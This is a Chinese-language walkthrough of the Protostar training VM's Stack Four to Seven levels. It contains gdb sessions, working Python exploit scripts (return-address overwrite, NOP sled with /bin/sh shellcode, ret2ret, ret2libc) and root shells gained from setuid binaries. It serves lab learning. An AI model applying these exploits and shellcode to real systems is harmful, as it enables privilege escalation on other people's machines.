所有的 python 脚本已经放在了这里
Protostar
Protostar introduces the following in a friendly way:
- Network programming
- Byte order
- Handling sockets
- Stack overflows
- Format strings
- Heap overflows
- The above is introduced in a simple way, starting with simple memory corruption and modification, function redirection, and finally executing custom shellcode.
In order to make this as easy as possible to introduce Address Space Layout Randomisation and Non-Executable memory has been disabled. If you are interested in covering ASLR and NX memory, please see the Fusion page.
shell-storm
有各种各样的 Shellcode
比较常用的是这个
/*
* $Id: gets-linux.c,v 1.3 2004/06/02 12:22:30 raptor Exp $
*
* gets-linux.c - stdin re-open shellcode for Linux/x86
* Copyright (c) 2003 Marco Ivaldi <raptor@0xdeadbeef.info>
*
* Local shellcode for stdin re-open and /bin/sh exec. It closes stdin
* descriptor and re-opens /dev/tty, then does an execve() of /bin/sh.
* Useful to exploit some gets() buffer overflows in an elegant way...
*/
char sc[] =
"\x31\xc0\x31\xdb\xb0\x06\xcd\x80"
"\x53\x68/tty\x68/dev\x89\xe3\x31\xc9\x66\xb9\x12\x27\xb0\x05\xcd\x80"
"\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80";
乱七八糟的笔记
正常情况下在一个函数看来栈的布局 |
---|
[higher memory] |
caller’s frame |
argument passed by the caller |
return address |
saved ebp ☜ ebp |
local variable 1 |
local variable 2 |
local variable 3 ☜ esp |
[lower memory] |
关于 gdb 的 x/
命令用法:
x /[Length][Format] [Address expression]
例:
x/24wx $esp
x/2i $eip
define hook-stop
的用法:
info registers
x/24wx $esp
x/2i $eip
end
以及:
(gdb) set disassembly-flavor intel
$ ls -al /opt/protostar/bin/ | grep stack
-rwsr-xr-x 1 root root 22412 Nov 24 2011 stack0
-rwsr-xr-x 1 root root 23196 Nov 24 2011 stack1
-rwsr-xr-x 1 root root 23350 Nov 24 2011 stack2
-rwsr-xr-x 1 root root 23130 Nov 24 2011 stack3
-rwsr-xr-x 1 root root 22860 Nov 24 2011 stack4
-rwsr-xr-x 1 root root 22612 Nov 24 2011 stack5
-rwsr-xr-x 1 root root 23331 Nov 24 2011 stack6
-rwsr-xr-x 1 root root 23461 Nov 24 2011 stack7
Stack Zero ~ Three
Stack Four
Stack4 takes a look at overwriting saved EIP and standard buffer overflows.
This level is at /opt/protostar/bin/stack4
Hints
- A variety of introductory papers into buffer overflows may help.
- gdb lets you do “run < input”
- EIP is not directly after the end of buffer, compiler padding can also increase the size.
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>
void win()
{
printf("code flow successfully changed\n");
}
int main(int argc, char **argv)
{
char buffer[64];
gets(buffer);
}
首先 objdump
找到 void win()
的地址
user@protostar:/opt/protostar/bin$ objdump -t /opt/protostar/bin/stack4 | grep win
080483f4 g F .text 00000014 win
然后,如何知道 main()
会返回到哪里呢….
(gdb) disassemble main
Dump of assembler code for function main:
0x08048408 <main+0>: push %ebp
0x08048409 <main+1>: mov %esp,%ebp
0x0804840b <main+3>: and $0xfffffff0,%esp
0x0804840e <main+6>: sub $0x50,%esp
0x08048411 <main+9>: lea 0x10(%esp),%eax
0x08048415 <main+13>: mov %eax,(%esp)
0x08048418 <main+16>: call 0x804830c <gets@plt>
0x0804841d <main+21>: leave
0x0804841e <main+22>: ret
End of assembler dump.
首先在 0x0804841e <main+22>: ret
处设置断点
(gdb) break *0x0804841e
Breakpoint 1 at 0x804841e: file stack4/stack4.c, line 16.
为了方便可以写一个字母表…就大概知道栈溢出到了什么地方..总之就是为了方便x
user@protostar:/tmp$ more alb
AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSTTTTUUUUVVVV
运行,并查看栈
这里就 x/24wx $esp
好了
(gdb) run < alb
Starting program: /opt/protostar/bin/stack4 < alb
Breakpoint 1, 0x0804841e in main (argc=Cannot access memory at address 0x5353535b
) at stack4/stack4.c:16
16 in stack4/stack4.c
(gdb) x/24wx $esp
0xbffff79c: 0x54545454 0x55555555 0x56565656 0xbffff800
0xbffff7ac: 0xb7fe1848 0xbffff800 0xffffffff 0xb7ffeff4
0xbffff7bc: 0x0804824b 0x00000001 0xbffff800 0xb7ff0626
0xbffff7cc: 0xb7fffab0 0xb7fe1b28 0xb7fd7ff4 0x00000000
0xbffff7dc: 0x00000000 0xbffff818 0xfc365215 0xd6616405
0xbffff7ec: 0x00000000 0x00000000 0x00000000 0x00000001
可见现在栈最高处存着 0x54545454
,而这就是 EIP 马上会取的 Return Address
前进一步看看
(gdb) si
Cannot access memory at address 0x53535357
(gdb) info registers
eax 0xbffff750 -1073744048
ecx 0xbffff750 -1073744048
edx 0xb7fd9334 -1208118476
ebx 0xb7fd7ff4 -1208123404
esp 0xbffff7a0 0xbffff7a0
ebp 0x53535353 0x53535353
esi 0x0 0
edi 0x0 0
eip 0x54545454 0x54545454
eflags 0x200246 [ PF ZF IF ID ]
cs 0x73 115
ss 0x7b 123
ds 0x7b 123
es 0x7b 123
fs 0x0 0
gs 0x33 51
看来确实是 eip 0x54545454
接下来只要把 0x54545454
改成 void win()
的地址即可
user@protostar:/tmp$ more stack4.py
padding = "AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSS"
win = "\xf4\x83\x04\x08"
print (padding + win)
user@protostar:/tmp$ python stack4.py | /opt/protostar/bin/stack4
code flow successfully changed
Segmentation fault
user@protostar:/tmp$
Stack Five
Stack5 is a standard buffer overflow, this time introducing shellcode.
This level is at /opt/protostar/bin/stack5
Hints
- At this point in time, it might be easier to use someone elses shellcode
- If debugging the shellcode, use \xcc (int3) to stop the program executing and return to the debugger
- remove the int3s once your shellcode is done.
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>
int main(int argc, char **argv)
{
char buffer[64];
gets(buffer);
}
终于可以开始执行 shellcode 了,好耶w
首先通过与上题一样的步骤,我们可以改函数的 Return Address
想执行 shellcode 的简单思路就是:
- 把 shellcode 写到栈上
- 把 Return Address 指向写了 shellcode 的地方
但是,由于环境变量等种种问题,很可能程序每次在栈上的地址都不太一样,
这种情况可以在 shellcode 前填充大量的 NOP…这样的话不管 Return Address 指向了哪里,反正只要指向了这一大段冇用的 NOP 的话那么最终就能到达 shellcode
NOP 的详细定义:
The NOP instruction does nothing. Execution continues with the next instruction. No registers or flags are affected by this instruction. NOP is typically used to generate a delay in execution or to reserve space in code memory.
不过说起来,Hints 里提到过:
If debugging the shellcode, use \xcc (int3) to stop the program executing and return to the debugger
来看一下 \xCC (int3)
的定义:
The INT3 instruction is a one-byte-instruction defined for use by debuggers to temporarily replace an instruction in a running program in order to set a code breakpoint.
来试一下,首先找个地址来当 Return Address
(gdb) disassemble main
Dump of assembler code for function main:
0x080483c4 <main+0>: push ebp
0x080483c5 <main+1>: mov ebp,esp
0x080483c7 <main+3>: and esp,0xfffffff0
0x080483ca <main+6>: sub esp,0x50
0x080483cd <main+9>: lea eax,[esp+0x10]
0x080483d1 <main+13>: mov DWORD PTR [esp],eax
0x080483d4 <main+16>: call 0x80482e8 <gets@plt>
0x080483d9 <main+21>: leave
0x080483da <main+22>: ret
End of assembler dump.
(gdb) break *0x080483da
Breakpoint 1 at 0x80483da: file stack5/stack5.c, line 11.
(gdb) r
Starting program: /opt/protostar/bin/stack5
Hello
Breakpoint 1, 0x080483da in main (argc=134513604, argv=0x1) at stack5/stack5.c:11
11 stack5/stack5.c: No such file or directory.
in stack5/stack5.c
(gdb) x/24wx $esp
0xbffff79c: 0xb7eadc76 0x00000001 0xbffff844 0xbffff84c
0xbffff7ac: 0xb7fe1848 0xbffff800 0xffffffff 0xb7ffeff4
0xbffff7bc: 0x08048232 0x00000001 0xbffff800 0xb7ff0626
0xbffff7cc: 0xb7fffab0 0xb7fe1b28 0xb7fd7ff4 0x00000000
0xbffff7dc: 0x00000000 0xbffff818 0xf982f58c 0xd3d5c39c
0xbffff7ec: 0x00000000 0x00000000 0x00000000 0x00000001
随便选一个…比如 0xbffff7dc
# stack5.py
import struct
padding = "AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSS"
return_address = struct.pack("I", 0xbffff7dc + 10)
nop = "\x90" * 300
int3 = "\xCC\xCC\xCC\xCC"
print (padding + return_address + nop + int3)
# 接下来 python stack5.py > st5
(gdb) r < st5
Starting program: /opt/protostar/bin/stack5 < st5
Program received signal SIGTRAP, Trace/breakpoint trap.
0xbffff8cd in ?? ()
(gdb)
Program received signal SIGTRAP, Trace/breakpoint trap.
看起来是成功了
接下来把 shellcode 也加进去吧,就用最开头的那个
# stack5.py
import struct
padding = "AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSS"
return_address = struct.pack("I", 0xbffff7dc + 10)
nop = "\x90" * 300
int3 = "\xCC\xCC\xCC\xCC"
shellcode = "\x31\xc0\x31\xdb\xb0\x06\xcd\x80\x53\x68/tty\x68/dev\x89\xe3\x31\xc9\x66\xb9\x12\x27\xb0\x05\xcd\x80\x31\xc0\x50\x68//sh\x68/bin\x
89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"
# 注意这里把 int3 去掉了
print (padding + return_address + nop + shellcode)
user@protostar:/tmp$ python stack5.py | /opt/protostar/bin/stack5
# whoami
root
#
完成w
Stack Six
Stack6 looks at what happens when you have restrictions on the return address.
This level can be done in a couple of ways, such as finding the duplicate of the payload ( objdump -s will help with this), or ret2libc , or even return orientated programming.
It is strongly suggested you experiment with multiple ways of getting your code to execute here.
This level is at /opt/protostar/bin/stack6
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>
void getpath()
{
char buffer[64];
unsigned int ret;
printf("input path please: "); fflush(stdout);
gets(buffer);
ret = __builtin_return_address(0);
if((ret & 0xbf000000) == 0xbf000000) {
printf("bzzzt (%p)\n", ret);
_exit(1);
}
printf("got path %s\n", buffer);
}
int main(int argc, char **argv)
{
getpath();
}
先看这部分:
ret = __builtin_return_address(0);
if((ret & 0xbf000000) == 0xbf000000) {
printf("bzzzt (%p)\n", ret);
_exit(1);
}
有一个 if((ret & 0xbf000000) == 0xbf000000)
的操作…简单来说相当于是如果 ret
以 bf
开头的话那么条件为真(结果就是_exit(1)
)
(gdb) break main
Breakpoint 1 at 0x8048500: file stack6/stack6.c, line 27.
(gdb) r
Starting program: /opt/protostar/bin/stack6
Breakpoint 1, main (argc=1, argv=0xbffff844) at stack6/stack6.c:27
27 stack6/stack6.c: No such file or directory.
in stack6/stack6.c
(gdb) info proc map
process 5679
cmdline = '/opt/protostar/bin/stack6'
cwd = '/tmp'
exe = '/opt/protostar/bin/stack6'
Mapped address spaces:
Start Addr End Addr Size Offset objfile
0x8048000 0x8049000 0x1000 0 /opt/protostar/bin/stack6
0x8049000 0x804a000 0x1000 0 /opt/protostar/bin/stack6
0xb7e96000 0xb7e97000 0x1000 0
0xb7e97000 0xb7fd5000 0x13e000 0 /lib/libc-2.11.2.so
0xb7fd5000 0xb7fd6000 0x1000 0x13e000 /lib/libc-2.11.2.so
0xb7fd6000 0xb7fd8000 0x2000 0x13e000 /lib/libc-2.11.2.so
0xb7fd8000 0xb7fd9000 0x1000 0x140000 /lib/libc-2.11.2.so
0xb7fd9000 0xb7fdc000 0x3000 0
0xb7fe0000 0xb7fe2000 0x2000 0
0xb7fe2000 0xb7fe3000 0x1000 0 [vdso]
0xb7fe3000 0xb7ffe000 0x1b000 0 /lib/ld-2.11.2.so
0xb7ffe000 0xb7fff000 0x1000 0x1a000 /lib/ld-2.11.2.so
0xb7fff000 0xb8000000 0x1000 0x1b000 /lib/ld-2.11.2.so
0xbffeb000 0xc0000000 0x15000 0 [stack]
(gdb)
可见 0xbffeb000 - 0xc0000000
都是栈…
那么就变成了:「只要 ret
指向栈上的某个地址,那么就会 _exit(1)
」
exploit #0 : ret2ret
瞎取的名字x
即,虽然它会检查 ret 要返回到的地址会不会被修改到栈上…
但如果 ret 到自己呢…
(gdb) disassemble getpath
Dump of assembler code for function getpath:
# 省略一部分
0x080484c2 <getpath+62>: jne 0x80484e4 <getpath+96>
0x080484c4 <getpath+64>: mov eax,0x80485e4
0x080484c9 <getpath+69>: mov edx,DWORD PTR [ebp-0xc]
0x080484cc <getpath+72>: mov DWORD PTR [esp+0x4],edx
0x080484d0 <getpath+76>: mov DWORD PTR [esp],eax
0x080484d3 <getpath+79>: call 0x80483c0 <printf@plt>
0x080484d8 <getpath+84>: mov DWORD PTR [esp],0x1
0x080484df <getpath+91>: call 0x80483a0 <_exit@plt>
0x080484e4 <getpath+96>: mov eax,0x80485f0
0x080484e9 <getpath+101>: lea edx,[ebp-0x4c]
0x080484ec <getpath+104>: mov DWORD PTR [esp+0x4],edx
0x080484f0 <getpath+108>: mov DWORD PTR [esp],eax
0x080484f3 <getpath+111>: call 0x80483c0 <printf@plt>
0x080484f8 <getpath+116>: leave
0x080484f9 <getpath+117>: ret
End of assembler dump.
比如 0x080484f9 <getpath+117>: ret
这里会被检查是否 ret 到了栈上
但如果 ret 到自己(0x080484f9 <getpath+117>
)的话,那接下来这一次 ret 要到的地址就不会被检查…
#stack6_0.py
import struct
padding = "AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPUUUURRRRSSSSTTTT"
# 第一次 ret 到 0x080484f9 也就是 ret 自己所处的地址
ret_first_time = struct.pack("I", 0x080484f9)
# 第二次 ret 到栈上随便某个地方
ret_second_time = struct.pack("I", 0xbffff7dc + 30)
nop = "\x90" * 300
shellcode = "\x31\xc0\x31\xdb\xb0\x06\xcd\x80\x53\x68/tty\x68/dev\x89\xe3\x31\xc9\x66\xb9\x12\x27\xb0\x05\xcd\x80\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"
print (padding + ret_first_time + ret_second_time + nop + shellcode)
user@protostar:/tmp$ python stack6_0.py | /opt/protostar/bin/stack6
input path please: got path AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPP?RRRRSSSSTTTT?????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????1?1۰̀Sh/ttyh/dev??1?f?'?̀1?Ph//shh/bin??PS?ᙰ
̀
# whoami
root
#
exploit #1 : ret2libc
A Ret2libC attack allows us to call the C function system and a function called exit in order to spawn a shell and thereafter allow the program to exit cleanly without arousing any suspicion.
既然想执行 /bin/sh
的话,首先得调用 system
(gdb) p system
$1 = {<text variable, no debug info>} 0xb7ecffb0 <__libc_system>
然后找找 /bin/sh
在哪
user@protostar:/tmp$ strings -a -t x /lib/libc-2.11.2.so | grep "/bin/sh"
11f3bf /bin/sh
(gdb) info proc map
process 5972
cmdline = '/opt/protostar/bin/stack6'
cwd = '/tmp'
exe = '/opt/protostar/bin/stack6'
Mapped address spaces:
Start Addr End Addr Size Offset objfile
0x8048000 0x8049000 0x1000 0 /opt/protostar/bin/stack6
0x8049000 0x804a000 0x1000 0 /opt/protostar/bin/stack6
0xb7e96000 0xb7e97000 0x1000 0
0xb7e97000 0xb7fd5000 0x13e000 0 /lib/libc-2.11.2.so
0xb7fd5000 0xb7fd6000 0x1000 0x13e000 /lib/libc-2.11.2.so
0xb7fd6000 0xb7fd8000 0x2000 0x13e000 /lib/libc-2.11.2.so
0xb7fd8000 0xb7fd9000 0x1000 0x140000 /lib/libc-2.11.2.so
0xb7fd9000 0xb7fdc000 0x3000 0
0xb7fe0000 0xb7fe2000 0x2000 0
0xb7fe2000 0xb7fe3000 0x1000 0 [vdso]
0xb7fe3000 0xb7ffe000 0x1b000 0 /lib/ld-2.11.2.so
0xb7ffe000 0xb7fff000 0x1000 0x1a000 /lib/ld-2.11.2.so
0xb7fff000 0xb8000000 0x1000 0x1b000 /lib/ld-2.11.2.so
0xbffeb000 0xc0000000 0x15000 0 [stack]
可见 /lib/libc-2.11.2.so
的 Start Addr
是 0xb7e97000
(gdb) x/s 0xb7e97000+0x11f3bf
0xb7fb63bf: "/bin/sh"
那么
<__libc_system>
: 0xb7ecffb0
/bin/sh
: 0xb7fb63bf
再回顾一下:
正常情况下在一个函数看来栈的布局 |
---|
[higher memory] |
caller’s frame |
argument passed by the caller |
return address |
saved ebp ☜ ebp |
local variable 1 |
local variable 2 |
local variable 3 ☜ esp |
[lower memory] |
我们并非通过 Call 来到达 System 的,而是直接跳过去的,
所以必须得把栈变成上面的形状才能正常正常运行
这里使用的是 ☞ cdecl 调用公约
其中,/bin/sh
: 0xb7fb63bf
这个地址就是 System 的参数,也就是一个字符串的地址
但是还需要另一个参数,是 System 执行完成后的返回地址(这个地址可以乱写,但不能没有)
(system 把参数的字符串当成 shell command 来执行)
对应一下: | |
---|---|
[higher memory] | |
caller’s frame | |
argument passed by the caller | ☜ return_addr_after_system + /bin/sh : 0xb7fb63bf |
return address | ☜ <__libc_system> : 0xb7ecffb0 |
saved ebp ☜ ebp | ☜ we dont care |
local variable 1 | |
local variable 2 | |
local variable 3 ☜ esp | ☜ buffer overflow begins |
[lower memory] |
可以试试了
# stack6_1.py
import struct
padding = "AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPUUUURRRRSSSSTTTT"
libc_system = struct.pack("I", 0xb7ecffb0)
return_addr_after_system = "AAAA"
bin_sh_addr = struct.pack("I", 0xb7fb63bf)
print (padding + libc_system + return_addr_after_system + bin_sh_addr)
user@protostar:/tmp$ python stack6_1.py | /opt/protostar/bin/stack6
input path please: got path AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPP???RRRRSSSSTTTT???AAAA?c??
Segmentation fault
user@protostar:/tmp$
为什么就没有了呢,怎么会是呢
实际上确实已经有一个 /bin/sh
生成了,可是还什么都没输入就退出了
这时候可以使用 cat
直接执行 cat 的话,效果是复读
user@protostar:/tmp$ cat
Hello
Hello
Hey
Hey
Minty daisuki x
Minty daisuki x
^C
user@protostar:/tmp$
把命令改成这样可以保证 shell 一直打开,并通过管道来重定向输入
(python stack6_1.py; cat) | /opt/protostar/bin/stack6
试一下的话
user@protostar:/tmp$ (python stack6_1.py; cat) | /opt/protostar/bin/stack6
input path please: got path AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPP???RRRRSSSSTTTT???AAAA?c??
whoami
root
ls /
bin boot dev etc home initrd.img lib live lost+found media mnt opt proc sbin selinux srv sys tmp usr var vmlinuz
成功w
Stack Seven
Stack6 introduces return to .text to gain code execution.
The metasploit tool “msfelfscan” can make searching for suitable instructions very easy, otherwise looking through objdump output will suffice.
This level is at /opt/protostar/bin/stack7
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>
char *getpath()
{
char buffer[64];
unsigned int ret;
printf("input path please: "); fflush(stdout);
gets(buffer);
ret = __builtin_return_address(0);
if((ret & 0xb0000000) == 0xb0000000) {
printf("bzzzt (%p)\n", ret);
_exit(1);
}
printf("got path %s\n", buffer);
return strdup(buffer);
}
int main(int argc, char **argv)
{
getpath();
}
实际上这题和上面的 Stack Six 差不多,结合一下 ret2ret 和 ret2libc 就可以了
import struct
padding = "AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPUUUURRRRSSSSTTTT"
ret_itself_addr = struct.pack("I", 0x08048544)
libc_system = struct.pack("I", 0xb7ecffb0)
return_addr_after_system = "AAAA"
bin_sh_addr = struct.pack("I", 0xb7fb63bf)
print (padding+ ret_itself_addr + libc_system + return_addr_after_system + bin_sh_addr)
user@protostar:/tmp$ (python stack7.py; cat) | /opt/protostar/bin/stack7
input path please: got path AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPDRRRRSSSSTTTTD???AAAA?c??
whoami
root
ls /
bin boot dev etc home initrd.img lib live lost+found media mnt opt proc sbin selinux srv sys tmp usr var vmlinuz